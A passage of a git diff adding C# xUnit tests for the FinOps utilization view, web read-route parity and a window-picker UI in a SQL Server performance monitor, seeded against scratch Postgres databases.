+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The <c>utilization</c> view of <c>get_finops</c>, on the same five-server seed the utilization golden test uses
+/// (A: CPU, memory, grants; B: Azure SQL Database with a week of days; C: Azure SQL Database; D: memory and no CPU;
+/// E: CPU and no memory), plus a monthly cost on A and database sizes on A. Own-store: the seed lives in a scratch database.
+/// </summary>
+/* #1776 own-store: each fact seeds its own scratch database, so nothing here shares rows with another test. */
+public sealed class FinOpsUtilizationViewLiveTests
+{
+    private static async Task<ScratchPostgres> SeedScratchAsync(string cs, CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(cs, ct);
+        using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var anchor = DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+        await FinOpsUtilizationGoldenLiveTests.SeedAsync(connection, anchor, ct);
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "UPDATE servers SET monthly_cost_usd = 1500.00 WHERE server_id = $1", FinOpsUtilizationGoldenLiveTests.ServerIdA);
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "UPDATE servers SET monthly_cost_usd = 0 WHERE server_id = $1", FinOpsUtilizationGoldenLiveTests.ServerIdC);
+        foreach (var (file, total, used) in new[] { (1, 600m, 400m), (2, 400m, 200m) })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, database_id,
+     file_id, file_type_desc, file_name, physical_name, total_size_mb, used_size_mb)
+VALUES ($1, $2, $3, $4, 'Db', NULL, $5, 'ROWS', $6, NULL, $7, $8)",
+                CollectionIdGenerator.Next(), now.AddHours(-3), FinOpsUtilizationGoldenLiveTests.ServerIdA,
+                FinOpsUtilizationGoldenLiveTests.ServerNameA, file, "f" + file, total, used);
+        }
+        await SeedExtraServersAsync(connection, now, ct);
+        return scratch;
+    }
+
+    internal const string ServerNameVcoreLess = "darling-finops-util-view-g";
+    internal const string ServerNameMaster = "darling-finops-util-view-h";
+    internal const string ServerNameNoProps = "darling-finops-util-view-i";
+
+    /* G: Azure SQL Database whose service objective names no vCores. H: a logical server's master database.
+       I: CPU and memory with no server_properties row. */
+    private static async Task SeedExtraServersAsync(NpgsqlConnection connection, DateTime now, CancellationToken ct)
+    {
+        foreach (var (name, edition, engine) in new (string, string?, int?)[]
+        {
+            (ServerNameVcoreLess, "Standard", 5),
+            (ServerNameMaster, "Azure SQL Database (System)", 5),
+            (ServerNameNoProps, null, null),
+        })
+        {
+            var id = ServerIdHelper.GetDeterministicHashCode(name);
+            await DarlingMcpTestData.RegisterServerAsync(connection, id, name, ct);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization) VALUES ($1, $2, $3, $4, $5, 20, 1)",
+                CollectionIdGenerator.Next(), now.AddHours(-1), id, name, now.AddHours(-1));
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO memory_stats (collection_id, collection_time, server_id, server_name, total_physical_memory_mb, total_server_memory_mb, target_server_memory_mb, buffer_pool_mb, max_workers_count, current_workers_count) VALUES ($1, $2, $3, $4, 8192, 3000, 4000, 2000, 512, 50)",
+                CollectionIdGenerator.Next(), now.AddHours(-1), id, name);
+            if (engine is { } e)
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, engine_edition, cpu_count, vcore_count) VALUES ($1, $2, $3, $4, $5, $6, 4, NULL)",
+                    CollectionIdGenerator.Next(), now.AddDays(-1), id, name, edition!, e);
+        }
+    }
+
+    private static async Task<JsonDocument> CallAsync(NpgsqlDataSource ds, string name, int hours = 24, int limit = 10, CancellationToken ct = default) =>
+        JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "utilization", name, hours, limit, cancellationToken: ct));
+
+    private static async Task WithStoreAsync(Func<NpgsqlDataSource, CancellationToken, Task> body)
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live utilization view test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedScratchAsync(cs!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        await body(ds, ct);
+    }
+
+    [Fact]
+    public Task ServerA_MatchesTheStoragePieces_AndPinsMoneyScoreAndBand() => WithStoreAsync(async (ds, ct) =>
+    {
+        var id = FinOpsUtilizationGoldenLiveTests.ServerIdA;
+        using var doc = await CallAsync(ds, FinOpsUtilizationGoldenLiveTests.ServerNameA, ct: ct);
+        var r = doc.RootElement;
+        var dto = (await DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(ds, id, 30, ct))!;
+        var totals = await FinOpsUtilizationFigures.GetLatestStorageTotalsAsync(ds, id, 30, ct);
+        var free = FinOpsUtilizationFigures.FreeSpacePct(totals!.Value.AllocatedMb, totals.Value.FreeMb);
+        var score = FinOpsUtilizationFigures.HealthScore(dto, free);
+
+        Assert.Equal("utilization", r.GetProperty("view").GetString());
+        Assert.Equal(24, r.GetProperty("window_hours").GetInt32());
+        Assert.Equal(7, r.GetProperty("trend_days").GetInt32());
+        Assert.Equal(dto.ProvisioningStatus, r.GetProperty("verdict").GetString());
+        Assert.Equal(FinOpsUtilizationFigures.Explanation(dto, CultureInfo.InvariantCulture), r.GetProperty("verdict_reason").GetString());
+        Assert.Equal(score, r.GetProperty("health_score").GetInt32());
+        Assert.Equal(FinOpsUtilizationFigures.HealthBand(score), r.GetProperty("health_band").GetString());
+        Assert.Equal(40m, r.GetProperty("free_space_pct").GetDecimal());
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("health_score_note").ValueKind);
+        var mem = r.GetProperty("memory");
+        Assert.Equal(Math.Round(FinOpsUtilizationFigures.StolenMemoryPct(dto.TotalMemoryMb, dto.BufferPoolMb), 1), mem.GetProperty("stolen_memory_pct").GetDouble());
+        Assert.Equal(Math.Round(FinOpsUtilizationFigures.BufferPoolPct(dto.BufferPoolMb, dto.PhysicalMemoryMb), 1), mem.GetProperty("buffer_pool_pct").GetDouble());
+        Assert.Equal("physical", mem.GetProperty("memory_basis").GetString());
+        Assert.Equal(dto.MaxCpuPct, r.GetProperty("cpu").GetProperty("max_cpu_pct").GetInt32());
+        Assert.Equal(8, r.GetProperty("cpu").GetProperty("cpu_count").GetInt32());
+
+        /* Hand-computed: p95 of 10,20,30,95 is 85.25 -> CPU score 24; buffer pool 6000/16000 -> memory 100; free 40% -> storage 100. */
+        Assert.Equal(69, score);
+        Assert.Equal(38.8m, r.GetProperty("cpu").GetProperty("avg_cpu_pct").GetDecimal());
+        Assert.Equal(85.3m, r.GetProperty("cpu").GetProperty("p95_cpu_pct").GetDecimal());
+        Assert.Contains("85.3%", r.GetProperty("verdict_reason").GetString(), StringComparison.Ordinal);
+        Assert.Equal("fair", r.GetProperty("health_band").GetString());
+        Assert.Equal(3, r.GetProperty("engine_edition").GetInt32());
+        Assert.Equal(1500.00m, r.GetProperty("monthly_cost_usd").GetDecimal());
+        Assert.Equal(18000.00m, r.GetProperty("annual_cost_usd").GetDecimal());
+        Assert.Equal(FinOpsCost.Annual(1500.00m), r.GetProperty("annual_cost_usd").GetDecimal());
+    });
+
+    [Fact]
+    public Task ServerWithoutACost_HasNullCostAndAReason_AndEditionFiveFacts() => WithStoreAsync(async (ds, ct) =>
+    {
+        using var doc = await CallAsync(ds, FinOpsUtilizationGoldenLiveTests.ServerNameC, ct: ct);
+        var r = doc.RootElement;
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("monthly_cost_usd").ValueKind);
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("annual_cost_usd").ValueKind);
+        Assert.Equal("monthly cost not set", r.GetProperty("cost_reason").GetString());
+        Assert.Equal("memory_limit", r.GetProperty("memory").GetProperty("memory_basis").GetString());
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("cpu").GetProperty("current_workers").ValueKind);
+        Assert.Equal(2, r.GetProperty("cpu").GetProperty("cpu_count").GetInt32());
+        Assert.Equal("vcores", r.GetProperty("cpu").GetProperty("cpu_count_unit").GetString());
+        Assert.Equal("no database size snapshot", r.GetProperty("free_space_pct_reason").GetString());
+    });
+
+    [Fact]
+    public Task ServerWithoutCpu_HasNullVerdictAndTheScoreNote() => WithStoreAsync(async (ds, ct) =>
+    {
+        using var doc = await CallAsync(ds, FinOpsUtilizationGoldenLiveTests.ServerNameD, ct: ct);
+        var r = doc.RootElement;
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("verdict").ValueKind);
+        /* #5492: a server with no CPU sample in the last 24 hours has NO health score (a dash), not a score computed from memory and storage
+           alone. Its memory and storage inputs are unchanged: buffer pool 2000/8192 is 0.24 -> memory 60, and no database size snapshot ->
+           free 100% -> storage 100, which the old rule scored (60 * 30 + 100 * 30) / 60 = 80 (good). The note says why there is no score. */
+        Assert.Equal(FinOpsHealthCalculator.NoScoreNote, r.GetProperty("health_score_note").GetString());
+        Assert.Contains("no verdict", r.GetProperty("verdict_reason").GetString(), StringComparison.Ordinal);
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("health_score").ValueKind);
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("health_band").ValueKind);
+        /* The three CPU figures are null with no sample, never the 0 the read returns for nothing. */
+        var noCpu = r.GetProperty("cpu");
+        Assert.Equal(JsonValueKind.Null, noCpu.GetProperty("avg_cpu_pct").ValueKind);
+        Assert.Equal(JsonValueKind.Null, noCpu.GetProperty("p95_cpu_pct").ValueKind);
+        Assert.Equal(JsonValueKind.Null, noCpu.GetProperty("max_cpu_pct").ValueKind);
+        Assert.Equal(100m, r.GetProperty("free_space_pct").GetDecimal());
+        var dto = (await DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(ds, FinOpsUtilizationGoldenLiveTests.ServerIdD, 30, ct))!;
+        Assert.False(FinOpsUtilizationFigures.HasCpuSample(dto));
+        Assert.Null(FinOpsUtilizationFigures.HealthScoreOrNull(dto, 100m));
+    });
+
+    [Fact]
+    public Task EditionFiveServerWithoutVcores_HasNullCpuCountAndAReason() => WithStoreAsync(async (ds, ct) =>
+    {
+        using var doc = await CallAsync(ds, ServerNameVcoreLess, ct: ct);
+        var cpu = doc.RootElement.GetProperty("cpu");
+        Assert.Equal(JsonValueKind.Null, cpu.GetProperty("cpu_count").ValueKind);
+        Assert.Equal("service objective names no vCores", cpu.GetProperty("cpu_count_reason").GetString());
+        Assert.Equal("vcores", cpu.GetProperty("cpu_count_unit").GetString());
+        Assert.Equal(5, doc.RootElement.GetProperty("engine_edition").GetInt32());
+    });
+
+    [Fact]
+    public Task LogicalServerMaster_HasTheNotApplicableVerdict() => WithStoreAsync(async (ds, ct) =>
+    {
+        using var doc = await CallAsync(ds, ServerNameMaster, ct: ct);
+        Assert.Equal("NOT_APPLICABLE", doc.RootElement.GetProperty("verdict").GetString());
+        Assert.Equal(ProvisioningVerdict.NotApplicableExplanation, doc.RootElement.GetProperty("verdict_reason").GetString());
+    });
+
+    [Fact]
+    public Task ServerWithoutAPropertiesRow_HasNullEngineEdition() => WithStoreAsync(async (ds, ct) =>
+    {
+        using var doc = await CallAsync(ds, ServerNameNoProps, ct: ct);
+        Assert.Equal(JsonValueKind.Null, doc.RootElement.GetProperty("engine_edition").ValueKind);
+    });
+
+    [Fact]
+    public Task PayloadKeys_AreExactlyTheDocumentedSets() => WithStoreAsync(async (ds, ct) =>
+    {
+        using var doc = await CallAsync(ds, FinOpsUtilizationGoldenLiveTests.ServerNameB, ct: ct);
+        var trend = doc.RootElement.GetProperty("provisioning_trend")[0];
+        Assert.Equal(
+            new[] { "avg_cpu_pct", "day", "max_cpu_pct", "memory_ratio", "p95_cpu_pct", "verdict" },
+            trend.EnumerateObject().Select(p => p.Name).OrderBy(n => n, StringComparer.Ordinal).ToArray());
+        Assert.Equal(
+            new[]
+            {
+                "buffer_pool_mb", "buffer_pool_pct", "forced_grants", "grant_timeouts", "grant_utilization_pct", "max_grant_waiters",
+                "memory_basis", "memory_ratio", "physical_memory_mb", "stolen_memory_pct", "target_memory_mb", "total_memory_mb",
+            },
+            doc.RootElement.GetProperty("memory").EnumerateObject().Select(p => p.Name).OrderBy(n => n, StringComparer.Ordinal).ToArray());
+    });
+
+    [Fact]
+    public Task ServerWithoutMemory_AnswersEmpty() => WithStoreAsync(async (ds, ct) =>
+    {
+        using var doc = await CallAsync(ds, FinOpsUtilizationGoldenLiveTests.ServerNameE, ct: ct);
+        Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
+        Assert.Equal("No memory statistics were collected for this server in the last 24 hours, so there is no utilization summary.",
+            doc.RootElement.GetProperty("message").GetString());
+    });
+
+    [Fact]
+    public Task Trend_IsInReaderOrder_WithIsoDays() => WithStoreAsync(async (ds, ct) =>
+    {
+        var expected = await DarlingFinOpsUtilizationReader.GetProvisioningTrendAsync(ds, FinOpsUtilizationGoldenLiveTests.ServerIdB, 30, ct);
+        using var doc = await CallAsync(ds, FinOpsUtilizationGoldenLiveTests.ServerNameB, ct: ct);
+        var trend = doc.RootElement.GetProperty("provisioning_trend");
+        Assert.Equal(expected.Count, trend.GetArrayLength());
+        Assert.True(expected.Count > 0);
+        for (var i = 0; i < expected.Count; i++)
+        {
+            Assert.Equal(expected[i].Day.ToString("yyyy-MM-dd", CultureInfo.InvariantCulture), trend[i].GetProperty("day").GetString());
+            Assert.Equal(expected[i].Status, trend[i].GetProperty("verdict").GetString());
+            Assert.Equal(expected[i].MaxCpuPct, trend[i].GetProperty("max_cpu_pct").GetInt32());
+        }
+    });
+
+    [Fact]
+    public Task FixedWindowParameters_AreRefused_AndExplicitDefaultsAccepted() => WithStoreAsync(async (ds, ct) =>
+    {
+        var name = FinOpsUtilizationGoldenLiveTests.ServerNameA;
+        using (var hours = await CallAsync(ds, name, hours: 48, ct: ct))
+        {
+            Assert.Equal("invalid", hours.RootElement.GetProperty("status").GetString());
+            Assert.Equal("hours_back", hours.RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+            Assert.Contains("utilization", hours.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+        }
+        using (var limit = await CallAsync(ds, name, limit: 5, ct: ct))
+        {
+            Assert.Equal("invalid", limit.RootElement.GetProperty("status").GetString());
+            Assert.Equal("limit", limit.RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+            Assert.Contains("utilization", limit.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+        }
+        using (var ok = await CallAsync(ds, name, 24, 10, ct))
+            Assert.Equal("utilization", ok.RootElement.GetProperty("view").GetString());
+        using var unknown = await CallAsync(ds, "no-such-server-zz", ct: ct);
+        Assert.Equal("invalid", unknown.RootElement.GetProperty("status").GetString());
+    });
+
+    [Fact]
+    public Task VerdictReason_IsTheSameUnderGermanCulture() => WithStoreAsync(async (ds, ct) =>
+    {
+        var name = FinOpsUtilizationGoldenLiveTests.ServerNameA;
+        var previous = CultureInfo.CurrentCulture;
+        try
+        {
+            CultureInfo.CurrentCulture = new CultureInfo("en-US");
+            using var en = await CallAsync(ds, name, ct: ct);
+            CultureInfo.CurrentCulture = new CultureInfo("de-DE");
+            using var de = await CallAsync(ds, name, ct: ct);
+            var enText = en.RootElement.GetProperty("verdict_reason").GetString();
+            Assert.False(string.IsNullOrEmpty(enText));
+            Assert.Equal(enText, de.RootElement.GetProperty("verdict_reason").GetString());
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = previous;
+        }
+    });
+
+    [Fact]
+    public Task WebRoute_ReturnsTheToolsBody() => WithStoreAsync(async (ds, ct) =>
+    {
+        var name = FinOpsUtilizationGoldenLiveTests.ServerNameA;
+        var tool = await DarlingMcpFinOpsTools.GetFinOps(ds, "utilization", name, 24, 10, cancellationToken: ct);
+        var (status, body) = await FinOpsWebReadParityLiveTests.GetAsync(ds, $"/api/read/get_finops?server={name}&view=utilization", ct);
+        Assert.Equal(200, status);
+        using var expected = JsonDocument.Parse(tool);
+        using var actual = JsonDocument.Parse(body);
+        Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), body);
+    });
+}
diff --git a/Darling/Darling.Tests/FinOpsWebReadParityLiveTests.cs b/Darling/Darling.Tests/FinOpsWebReadParityLiveTests.cs
new file mode 100644
index 0000000000..45f8354103
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsWebReadParityLiveTests.cs
@@ -0,0 +1,141 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact seeds its own scratch database, so nothing here shares rows with another test. */
+public sealed class FinOpsWebReadParityLiveTests
+{
+    internal static async Task<(int Status, string Body)> GetAsync(NpgsqlDataSource postgres, string pathAndQuery, System.Threading.CancellationToken ct)
+    {
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+            WebRootPath = "wwwroot",
+        });
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(postgres);
+        await using var app = builder.Build();
+        DarlingWebEndpoints.MapAll(app, postgres, new CollectorRuntimeState(), new CapturingTestLogger());
+        await app.StartAsync(ct);
+        using var server = app.GetTestServer();
+        var path = pathAndQuery.Split('?', 2);
+        var context = await server.SendAsync(request =>
+        {
+            request.Request.Method = "GET";
+            request.Request.Path = path[0];
+            request.Request.QueryString = new QueryString("?" + path[1]);
+            request.Request.Headers.Host = "localhost";
+        });
+        using var reader = new StreamReader(context.Response.Body);
+        return (context.Response.StatusCode, await reader.ReadToEndAsync(ct));
+    }
+
+    [Fact]
+    public async Task HighImpactView_ThroughTheReadRoute_ReturnsTheToolsBody()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live get_finops route test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await FinOpsHighImpactReaderLiveTests.SeedAsync(cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var name = FinOpsHighImpactReaderLiveTests.ServerName;
+        var tool = await DarlingMcpFinOpsTools.GetFinOps(postgres, "high_impact", name, 96, 10, cancellationToken: ct);
+        var (status, body) = await GetAsync(postgres, $"/api/read/get_finops?server={name}&view=high_impact&hours_back=96&limit=10", ct);
+
+        Assert.Equal(StatusCodes.Status200OK, status);
+        /* Parsed-JSON comparison: the route serialises the tool's string as is, so the parsed trees must be equal;
+           a 96-hour window also takes in the older seeded row, so a route that dropped hours_back would differ. */
+        using var expected = JsonDocument.Parse(tool);
+        using var actual = JsonDocument.Parse(body);
+        Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), body);
+        Assert.Contains("0xHIOLD", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task HoursAlias_BindsTheSameWindowAsHoursBack()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live get_finops route test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await FinOpsHighImpactReaderLiveTests.SeedAsync(cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var name = FinOpsHighImpactReaderLiveTests.ServerName;
+        var (_, viaHoursBack) = await GetAsync(postgres, $"/api/read/get_finops?server={name}&view=high_impact&hours_back=96", ct);
+        var (status, viaHours) = await GetAsync(postgres, $"/api/read/get_finops?server={name}&view=high_impact&hours=96", ct);
+
+        Assert.Equal(StatusCodes.Status200OK, status);
+        using var expected = JsonDocument.Parse(viaHoursBack);
+        using var actual = JsonDocument.Parse(viaHours);
+        Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), viaHours);
+        Assert.Equal(96, actual.RootElement.GetProperty("hours_back").GetInt32());
+        Assert.Contains("0xHIOLD", viaHours, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task UnknownView_ThroughTheReadRoute_IsRefusedWithTheToolsRefusal()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live get_finops route test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await FinOpsHighImpactReaderLiveTests.SeedAsync(cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var name = FinOpsHighImpactReaderLiveTests.ServerName;
+        var tool = await DarlingMcpFinOpsTools.GetFinOps(postgres, "nope", name, 24, 10, cancellationToken: ct);
+        var (status, body) = await GetAsync(postgres, $"/api/read/get_finops?server={name}&view=nope", ct);
+
+        Assert.Equal(StatusCodes.Status400BadRequest, status);
+        using var expected = JsonDocument.Parse(tool);
+        using var actual = JsonDocument.Parse(body);
+        Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), body);
+        Assert.Equal("invalid", actual.RootElement.GetProperty("status").GetString());
+        Assert.Contains("Invalid view value 'nope'", actual.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task IndexAnalysisView_ThroughTheReadRoute_ReturnsTheToolsBody()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live get_finops route test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await FinOpsIndexAnalysisViewLiveTests.SeedAsync(cs!, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var name = FinOpsIndexAnalysisViewLiveTests.ServerNameC;
+        var tool = await DarlingMcpFinOpsTools.GetFinOps(postgres, "index_analysis", name, 24, 3, "tenant_gamma", true, cancellationToken: ct);
+        var (status, body) = await GetAsync(postgres, $"/api/read/get_finops?server={name}&view=index_analysis&limit=3&database_name=tenant_gamma&full_text=true", ct);
+
+        Assert.Equal(StatusCodes.Status200OK, status);
+        using var expected = JsonDocument.Parse(tool);
+        using var actual = JsonDocument.Parse(body);
+        Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), body);
+        Assert.Equal("index_analysis", actual.RootElement.GetProperty("view").GetString());
+        Assert.True(actual.RootElement.GetProperty("full_text").GetBoolean());
+        Assert.Equal("tenant_gamma", actual.RootElement.GetProperty("database_name").GetString());
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsWindowPickerBehaviourTests.cs b/Darling/Darling.Tests/FinOpsWindowPickerBehaviourTests.cs
new file mode 100644
index 0000000000..6d1c382625
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsWindowPickerBehaviourTests.cs
@@ -0,0 +1,124 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Window picker on the FinOps Optimization and High Impact tabs, run from the shipped
+/// page scripts under Node (<c>finops-window-picker-harness.mjs</c>): the first build reads 24 hours, a pick re-reads
+/// with the chosen hours, a rebuild for the same server (the 60 s poll) keeps the pick, and another server starts at
+/// 24 hours again. Node is skipped when it is not installed.
+/// </summary>
+public sealed class FinOpsWindowPickerBehaviourTests
+{
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "finops-window-picker-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page scripts cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the window-picker harness did not finish in 20 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the window-picker harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Hours(JsonElement step) => step.GetProperty("hours").EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Theory]
+    [InlineData("optimization")]
+    [InlineData("high-impact")]
+    public void ThePickKeepsAcrossARebuildForTheSameServerAndResetsForAnother(string tab)
+    {
+        var t = Run().GetProperty(tab);
+
+        var first = t.GetProperty("first");
+        Assert.Equal(new[] { "24" }, Hours(first));
+        // #5562 R5: the shared picker in its Compact, rolling-only form. Every FinOps read is hours back from now, so it offers
+        // no calendar period and no start-and-end boxes, nothing under an hour, and no length past the read's 7 day reach.
+        Assert.Equal("Past hour,Past 4 hours,Past day,Past 2 days,Past week", string.Join(",", first.GetProperty("options").EnumerateArray().Select(e => e.GetString())));
+        Assert.Equal("Quick ranges,Type a length", string.Join(",", first.GetProperty("shape").GetProperty("headings").EnumerateArray().Select(e => e.GetString())));
+        Assert.Equal(0, first.GetProperty("shape").GetProperty("dateBoxes").GetInt32());
+        var refused = first.GetProperty("refused");
+        Assert.Equal("This page reads at least 1h back from now.", refused.GetProperty("subHour").GetString());
+        Assert.Equal("This page reads a length back from now, so pick a rolling length such as 24h or 7d.", refused.GetProperty("calendar").GetString());
+        Assert.Equal("This page reads whole hours back from now, such as 6h or 3d.", refused.GetProperty("fractional").GetString());
+        Assert.Equal("This page's reads reach at most 7 days back.", refused.GetProperty("tooLong").GetString());
+
+        // A pick reads again with the chosen hours.
+        var picked = t.GetProperty("picked");
+        Assert.Equal(new[] { "24", "4" }, Hours(picked));
+        Assert.Equal("Past 4 hours", picked.GetProperty("select").GetString());
+
+        // The poll rebuilds the tab: same server, same window, one read with it.
+        var rebuilt = t.GetProperty("rebuilt");
+        Assert.Equal(new[] { "4" }, Hours(rebuilt));
+        Assert.Equal("Past 4 hours", rebuilt.GetProperty("select").GetString());
+
+        // Another server starts at the default.
+        var other = t.GetProperty("other");
+        Assert.Equal(new[] { "24" }, Hours(other));
+        Assert.Equal("Past day", other.GetProperty("select").GetString());
+    }
+
+    [Fact]
+    public void TheExpensiveQueriesNoticeSaysTheKeptTextWindowWhenTheServiceCutTheAskedOne()
+    {
+        var notice = Run().GetProperty("expensiveNotice");
+        var cut = notice.GetProperty("cut").GetString()!;
+        Assert.Contains("showing the last 3 days; query text and plans are not retained beyond that", cut);
+        Assert.DoesNotContain("last 168 hours", cut);
+
+        var uncut = notice.GetProperty("uncut").GetString()!;
+        Assert.Contains("last 24 hours, from ", uncut);
+        Assert.DoesNotContain("not retained", uncut);
+    }
+
+    [Fact]
+    public void TheIndexAnalysisCollectedTimeIsSetOnlyForANameOneDatabaseOwns_AndTheCompareIsCaseSensitive()
+    {
+        var c = Run().GetProperty("indexCollected");
+        var text = c.GetProperty("text").GetString()!;
+        var marker = "Original DefinitionScriptCollected";
+        var rec = text[(text.IndexOf(marker, StringComparison.Ordinal) + marker.Length)..];
+
+        // Two ids share "Shared": neither roll-up time is borrowed. "Solo" and "solo" differ by case: each gets its own.
+        Assert.DoesNotContain(c.GetProperty("shared1").GetString()!, rec);
+        Assert.DoesNotContain(c.GetProperty("shared2").GetString()!, rec);
+        Assert.Contains(c.GetProperty("solo").GetString()!, rec);
+        Assert.Contains(c.GetProperty("lower").GetString()!, rec);
+    }
+}
diff --git a/Darling/Darling.Tests/FindingsRetentionCrossSkuPinTests.cs b/Darling/Darling.Tests/FindingsRetentionCrossSkuPinTests.cs
index c0db61e25a..398c7a34bc 100644
--- a/Darling/Darling.Tests/FindingsRetentionCrossSkuPinTests.cs
+++ b/Darling/Darling.Tests/FindingsRetentionCrossSkuPinTests.cs
